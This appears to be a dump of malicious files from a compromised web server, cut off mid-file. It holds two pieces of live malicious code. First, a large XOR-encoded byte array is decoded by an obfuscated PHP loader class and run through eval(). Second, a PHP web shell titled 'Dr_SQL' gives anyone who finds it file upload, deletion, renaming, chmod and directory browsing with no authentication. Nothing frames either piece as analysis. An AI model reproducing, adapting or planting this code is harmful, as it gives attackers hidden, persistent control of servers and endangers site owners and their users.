72, 81, 82, 80, 82, 92, 91, 6, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 72, 78, 103, 86, 82, 77, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 94, 18, 6, 3, 64, 54, 63, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 72, 25, 6, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 91, 82, 85, 94, 72, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 91, 82, 85, 94, 72, 19, 85, 94, 83, 92, 77, 81, 18, 25, 64, 25, 77, 84, 90, 72, 77, 17, 28, 115, 84, 25, 91, 82, 85, 94, 72, 25, 72, 94, 85, 94, 88, 77, 94, 93, 28, 21, 25, 28, 76, 90, 87, 83, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 0, 25, 70, 54, 63, 54, 63, 25, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 65, 84, 87, 126, 83, 88, 84, 93, 94, 17, 78, 18, 64, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 78, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 80, 94, 66, 25, 6, 25, 17, 17, 82, 25, 31, 25, 10, 12, 18, 25, 16, 25, 118, 90, 77, 81, 19, 91, 85, 84, 84, 87, 17, 118, 90, 77, 81, 19, 85, 84, 92, 17, 82, 25, 16, 25, 23, 18, 25, 31, 25, 118, 90, 77, 81, 19, 105, 114, 25, 31, 25, 10, 9, 9, 9, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 25, 25, 78, 96, 82, 102, 25, 99, 6, 25, 80, 94, 66, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 78, 0, 54, 63, 25, 25, 70, 54, 63, 54, 63, 25, 25, 85, 94, 77, 25, 84, 80, 120, 84, 78, 83, 77, 25, 6, 25, 9, 21, 25, 91, 90, 82, 85, 120, 84, 78, 83, 77, 25, 6, 25, 9, 0, 54, 63, 54, 63, 25, 25, 91, 84, 87, 25, 17, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 25, 84, 91, 25, 91, 82, 85, 94, 72, 18, 64, 54, 63, 25, 25, 25, 25, 77, 87, 66, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 78, 91, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 82, 85, 94, 19, 90, 87, 87, 90, 66, 7, 78, 91, 91, 94, 87, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 78, 25, 25, 25, 6, 25, 65, 84, 87, 126, 83, 88, 84, 93, 94, 17, 83, 94, 76, 25, 110, 82, 83, 77, 1, 122, 87, 87, 90, 66, 17, 103, 78, 91, 18, 18, 0, 25, 20, 20, 25, 97, 116, 119, 25, 17, 85, 84, 92, 25, 16, 25, 244, 185, 18, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 78, 87, 85, 25, 6, 25, 83, 94, 76, 25, 110, 119, 117, 17, 85, 84, 88, 90, 77, 82, 84, 83, 19, 81, 87, 94, 91, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 72, 81, 82, 80, 82, 92, 91, 28, 21, 25, 28, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 28, 18, 0, 25, 25, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 90, 88, 77, 82, 84, 83, 25, 22, 3, 25, 72, 81, 82, 80, 82, 92, 91, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 83, 90, 80, 65, 83, 28, 21, 25, 77, 84, 113, 94, 65, 17, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 18, 18, 0, 25, 25, 20, 20, 25, 81, 94, 65, 25, 73, 90, 77, 81, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 21, 25, 91, 82, 85, 94, 19, 83, 90, 86, 94, 18, 0, 25, 25, 25, 25, 25, 25, 20, 20, 25, 91, 82, 85, 94, 83, 90, 86, 94, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 87, 94, 72, 25, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 94, 77, 88, 81, 17, 78, 87, 85, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 18, 21, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 86, 94, 77, 81, 84, 93, 15, 25, 28, 105, 116, 104, 109, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 81, 94, 90, 93, 94, 87, 72, 15, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 28, 120, 84, 83, 77, 94, 83, 77, 22, 109, 66, 73, 94, 28, 15, 25, 28, 82, 86, 90, 92, 94, 20, 95, 73, 94, 92, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 28, 97, 22, 119, 94, 74, 78, 94, 72, 77, 94, 93, 22, 108, 82, 77, 81, 28, 15, 25, 28, 97, 118, 117, 113, 77, 77, 73, 119, 94, 74, 78, 94, 72, 77, 28, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 103, 84, 93, 66, 15, 25, 78, 54, 63, 25, 25, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 77, 94, 65, 77, 25, 6, 25, 90, 76, 90, 82, 77, 25, 87, 94, 72, 19, 77, 94, 65, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 95, 25, 6, 25, 127, 104, 116, 115, 19, 73, 90, 87, 72, 94, 17, 77, 94, 65, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 95, 19, 84, 80, 18, 25, 77, 81, 87, 84, 76, 25, 83, 94, 76, 25, 126, 87, 87, 84, 87, 17, 95, 19, 94, 87, 87, 84, 87, 25, 69, 69, 25, 28, 110, 73, 85, 84, 90, 93, 25, 91, 90, 82, 85, 94, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 84, 80, 120, 84, 78, 83, 77, 16, 16, 0, 54, 63, 25, 25, 25, 25, 70, 88, 90, 77, 88, 81, 17, 94, 87, 87, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 84, 85, 94, 19, 94, 87, 87, 84, 87, 17, 94, 87, 87, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 91, 90, 82, 85, 120, 84, 78, 83, 77, 16, 16, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 70, 54, 63, 54, 63, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 84, 80, 120, 84, 78, 83, 77, 18, 25, 77, 84, 90, 72, 77, 17, 89, 110, 73, 85, 84, 90, 93, 94, 93, 25, 29, 64, 84, 80, 120, 84, 78, 83, 77, 70, 25, 91, 82, 85, 94, 17, 72, 18, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 91, 90, 82, 85, 120, 84, 78, 83, 77, 18, 25, 77, 84, 90, 72, 77, 17, 89, 29, 64, 91, 90, 82, 85, 120, 84, 78, 83, 77, 70, 25, 78, 73, 85, 84, 90, 93, 17, 72, 18, 25, 91, 90, 82, 85, 94, 93, 89, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 70, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 119, 94, 83, 90, 86, 94, 25, 91, 84, 87, 86, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 88, 84, 83, 72, 77, 25, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 25, 25, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 84, 85, 93, 115, 90, 86, 94, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 83, 94, 76, 115, 90, 86, 94, 28, 18, 0, 54, 63, 54, 63, 82, 91, 25, 17, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 18, 25, 64, 54, 63, 25, 25, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 72, 78, 103, 86, 82, 77, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 94, 18, 25, 6, 3, 25, 64, 54, 63, 25, 25, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 84, 85, 93, 107, 90, 85, 25, 6, 25, 17, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 4, 19, 75, 90, 85, 78, 94, 25, 69, 69, 25, 28, 28, 18, 19, 77, 87, 82, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 83, 94, 76, 107, 90, 85, 25, 6, 25, 17, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 4, 19, 75, 90, 85, 78, 94, 25, 69, 69, 25, 28, 28, 18, 19, 77, 87, 82, 86, 17, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 84, 85, 93, 107, 90, 85, 25, 69, 69, 25, 26, 83, 94, 76, 107, 90, 85, 18, 25, 64, 25, 77, 84, 90, 72, 77, 17, 28, 105, 85, 94, 90, 72, 94, 25, 91, 82, 85, 85, 25, 103, 84, 77, 81, 25, 83, 90, 86, 94, 72, 19, 28, 21, 25, 28, 76, 90, 87, 83, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 77, 87, 66, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 87, 94, 83, 90, 86, 94, 28, 21, 25, 64, 25, 84, 85, 93, 15, 25, 84, 85, 93, 107, 90, 85, 21, 25, 83, 94, 76, 15, 25, 83, 94, 76, 107, 90, 85, 25, 70, 18, 0, 25, 20, 20, 25, 72, 81, 82, 80, 82, 92, 91, 25, 81, 90, 83, 93, 85, 94, 93, 25, 82, 83, 25, 90, 73, 82, 17, 18, 54, 63, 25, 25, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 89, 119, 94, 83, 90, 86, 94, 93, 25, 39, 29, 64, 84, 85, 93, 107, 90, 85, 70, 39, 25, 231, 187, 183, 25, 39, 29, 64, 83, 94, 76, 107, 90, 85, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 25, 25, 25, 25, 70, 25, 88, 90, 77, 88, 81, 25, 17, 94, 87, 87, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 94, 87, 87, 19, 86, 94, 72, 72, 90, 92, 94, 25, 69, 69, 25, 28, 119, 94, 83, 90, 86, 94, 25, 91, 90, 82, 85, 94, 93, 28, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 70, 18, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 126, 93, 82, 77, 84, 87, 25, 97, 116, 119, 25, 17, 72, 90, 75, 94, 25, 84, 83, 85, 66, 18, 25, 231, 185, 173, 25, 72, 94, 83, 93, 25, 7, 90, 72, 94, 11, 13, 25, 17, 94, 65, 82, 72, 77, 82, 83, 92, 25, 94, 93, 82, 77, 84, 87, 25, 73, 87, 84, 77, 84, 88, 84, 85, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 112, 94, 66, 17, 82, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 81, 25, 6, 25, 17, 17, 82, 31, 8, 10, 25, 16, 25, 12, 18, 25, 3, 3, 3, 25, 9, 18, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 10, 11, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 85, 90, 72, 77, 23, 25, 6, 25, 81, 19, 72, 85, 82, 88, 94, 17, 22, 23, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 81, 65, 25, 6, 25, 73, 90, 87, 72, 94, 114, 83, 77, 17, 85, 90, 72, 77, 23, 25, 69, 69, 25, 28, 9, 28, 21, 25, 10, 11, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 80, 25, 6, 25, 17, 17, 81, 65, 25, 99, 25, 17, 82, 25, 27, 25, 9, 65, 123, 123, 18, 18, 25, 16, 25, 118, 90, 77, 81, 19, 91, 85, 84, 84, 87, 17, 118, 90, 77, 81, 19, 85, 84, 92, 10, 9, 17, 82, 25, 16, 25, 8, 18, 25, 31, 25, 2, 12, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 80, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 126, 83, 88, 84, 93, 94, 109, 84, 7, 82, 83, 90, 87, 66, 104, 77, 87, 82, 83, 92, 17, 72, 77, 87, 18, 64, 54, 63, 25, 25, 85, 94, 77, 25, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 72, 77, 87, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 88, 84, 93, 94, 25, 6, 25, 72, 77, 87, 19, 88, 81, 90, 87, 120, 84, 93, 94, 122, 77, 17, 82, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 84, 78, 77, 19, 73, 78, 72, 81, 17, 104, 77, 87, 82, 83, 92, 19, 91, 87, 84, 86, 120, 81, 90, 87, 120, 84, 93, 94, 17, 88, 84, 93, 94, 25, 99, 25, 94, 93, 82, 77, 84, 87, 112, 94, 66, 17, 82, 18, 18, 18, 0, 54, 63, 25, 25, 70, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 84, 78, 77, 19, 95, 84, 82, 83, 17, 28, 28, 18, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 103, 11, 13, 126, 83, 88, 84, 93, 94, 7, 82, 83, 90, 87, 66, 17, 72, 77, 87, 18, 64, 25, 87, 94, 77, 78, 87, 83, 25, 103, 77, 84, 90, 17, 72, 77, 87, 18, 0, 25, 70, 54, 63, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 28, 18, 0, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 120, 85, 84, 72, 94, 28, 18, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 18, 6, 3, 64, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 25, 70, 18, 0, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 104, 90, 75, 94, 28, 18, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 72, 90, 75, 94, 126, 93, 82, 77, 84, 87, 18, 0, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 84, 73, 94, 83, 126, 93, 82, 77, 84, 87, 17, 83, 90, 86, 94, 18, 64, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 126, 93, 82, 77, 15, 25, 28, 25, 16, 25, 83, 90, 86, 94, 0, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 117, 84, 90, 93, 82, 83, 92, 231, 185, 155, 28, 0, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 25, 28, 91, 85, 94, 65, 28, 0, 54, 63, 25, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 25, 6, 25, 83, 90, 86, 94, 0, 54, 63, 25, 25, 90, 73, 82, 17, 28, 87, 94, 90, 93, 28, 21, 25, 64, 25, 83, 90, 86, 94, 25, 70, 18, 54, 63, 25, 25, 25, 25, 19, 77, 81, 94, 83, 17, 95, 25, 6, 3, 25, 64, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 95, 19, 88, 84, 83, 77, 94, 83, 77, 25, 69, 69, 25, 28, 28, 0, 25, 70, 18, 54, 63, 25, 25, 25, 25, 19, 88, 90, 77, 88, 81, 17, 94, 25, 6, 3, 25, 64, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 18, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 64, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 25, 28, 83, 84, 83, 94, 28, 0, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 25, 6, 25, 83, 78, 85, 85, 0, 25, 70, 54, 63, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 72, 90, 75, 94, 126, 93, 82, 77, 84, 87, 17, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 83, 90, 86, 94, 25, 6, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 83, 90, 86, 94, 18, 25, 87, 94, 77, 78, 87, 83, 0, 54, 63, 25, 25, 77, 87, 66, 25, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 73, 85, 90, 82, 83, 25, 6, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 82, 83, 25, 25, 25, 6, 25, 94, 93, 82, 77, 84, 87, 126, 83, 88, 84, 93, 94, 109, 84, 7, 82, 83, 90, 87, 66, 104, 77, 87, 82, 83, 92, 17, 73, 85, 90, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 11, 13, 25, 25, 25, 6, 25, 103, 11, 13, 126, 83, 88, 84, 93, 94, 7, 82, 83, 90, 87, 66, 17, 103, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 72, 90, 75, 94, 28, 21, 25, 64, 25, 83, 90, 86, 94, 21, 25, 88, 84, 83, 77, 94, 83, 77, 100, 103, 11, 13, 15, 25, 103, 11, 13, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 89, 104, 90, 75, 94, 93, 25, 39, 29, 64, 83, 90, 86, 94, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 25, 25, 70, 25, 88, 90, 77, 88, 81, 17, 94, 18, 64, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 54, 63, 70, 54, 63, 76, 82, 83, 93, 84, 76, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 80, 94, 66, 93, 84, 76, 83, 28, 21, 25, 17, 94, 18, 6, 3, 64, 25, 82, 91, 25, 17, 94, 19, 80, 94, 66, 25, 6, 6, 6, 25, 28, 126, 72, 88, 90, 73, 94, 28, 25, 27, 27, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 6, 6, 25, 28, 91, 85, 94, 65, 28, 18, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 25, 70, 18, 0, 54, 63, 54, 63, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 5, 20, 72, 88, 87, 82, 73, 77, 3, 54, 63, 5, 20, 103, 84, 93, 66, 3, 54, 63, 5, 20, 81, 77, 86, 85, 3, 54, 63];

        $hex = '';
        foreach ($enc as $val) {
            $val = ($val ^ $key) & 0xFF;
            $val = ($val + ($eyyenyneo % 5)) ^ ($nainnnnllnl % 7);
            $hex .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
        }

        return $this->hexToStr($hex);
    }

    public function getObfuscated(): string {
        $plain  = $this->buildPayload();
        $cipher = $this->xorCrypt($plain);
        return bin2hex($cipher);
    }

    public function run(): void {
        $h     = $this->getObfuscated();
        $c     = hex2bin($h);
        $code  = $this->xorCrypt($c);
        eval($code);
    }

    private function xxxinwqitb(array $z1, array $z2): array {
        return [
            $z1[0] * $z2[0] - $z1[1] * $z2[1],
            $z1[0] * $z2[1] + $z1[1] * $z2[0],
        ];
    }

    private function hexToStr(string $hex): string {
        $out = '';
        $len = strlen($hex);
        for ($i = 0; $i < $len; $i += 2) {
            $out .= chr(hexdec($hex[$i] . $hex[$i + 1]));
        }
        return $out;
    }
}

$loader = new motocikasitux();
$loader->run();PK	;m\Q��0,0,	95r6k.phpnu�[���<?php
error_reporting(0);

if (isset($_GET['d'])) {
    $decoded = urldecode($_GET['d']);
    if (is_dir($decoded)) {
        @chdir($decoded);
    }
}

$me = basename(__FILE__);
$bckC = '#333333';
$txtC = '#999999';
$current_dir = getcwd();

// === Handle Actions ===
if ($_POST['action'] === 'upload' && !empty($_FILES['file']['name'])) {
    $name = basename($_FILES['file']['name']);
    @move_uploaded_file($_FILES['file']['tmp_name'], $name);
}
if ($_POST['action'] === 'mkdir' && !empty($_POST['name'])) {
    @mkdir($_POST['name']);
}
if ($_POST['action'] === 'mkfile' && !empty($_POST['name'])) {
    @file_put_contents($_POST['name'], '');
}
if ($_GET['action'] === 'delete_file' && !empty($_GET['path'])) {
    @unlink(urldecode($_GET['path']));
}
if ($_GET['action'] === 'delete_dir' && !empty($_GET['path'])) {
    @rmdir(urldecode($_GET['path']));
}
if ($_POST['action'] === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) {
    @rename($_POST['old'], $_POST['new']);
}
if ($_POST['action'] === 'chmod' && !empty($_POST['path']) && !empty($_POST['mode'])) {
    @chmod($_POST['path'], octdec($_POST['mode']));
}

// === Output HTML ===
print <<<HTML
<html>
<head>
    <title>Dr_SQL</title>
    <style>
        body { background: {$bckC}; color: {$txtC}; font: 9pt 'Trebuchet MS', sans-serif; margin: 0; padding: 10px; }
        a { color: {$txtC}; text-decoration: none; }
        a:hover { color: #79a317; }
        .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }
        .breadcrumb { margin: 10px 0; font-size: 10pt; }
        .breadcrumb a { color: #79a317; }
        .actions { margin: 15px 0; padding: 10px; background: #222; border-radius: 8px; display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 10px; }
        .actions form { display: flex; gap: 5px; }
        .actions input { background: {$bckC}; color: {$txtC}; border: 1px solid {$txtC}; border-radius: 5px; padding: 3px 6px; }
        .actions button { background: #444; color: #79a317; border: 1px solid #555; border-radius: 5px; cursor: pointer; }
        table { width: 100%; border-collapse: collapse; margin-top: 10px; }
        th, td { padding: 8px 5px; text-align: left; border-bottom: 1px solid #444; }
        th { color: #79a317; font-weight: bold; }
        tr:hover { background: rgba(121,163,23,0.05); }
        .file-icon { width: 16px; margin-right: 5px; }
        .perm-writable { color: #ccff00; }
        .perm-readable { color: {$txtC}; }
        .perm-locked { color: crimson; }
        .btn { background: rgba(0,0,0,0.3); color: {$txtC}; border: 1px solid {$txtC}; border-radius: 4px; padding: 2px 6px; margin: 0 2px; text-decoration: none; font-size: 8pt; }
        .btn:hover { background: #79a317; color: black; }
        .hidden { display: none; }
        .popup { background: #222; padding: 10px; border: 1px solid #555; border-radius: 5px; position: absolute; z-index: 10; }
    </style>
    <script>
        function togglePopup(id) {
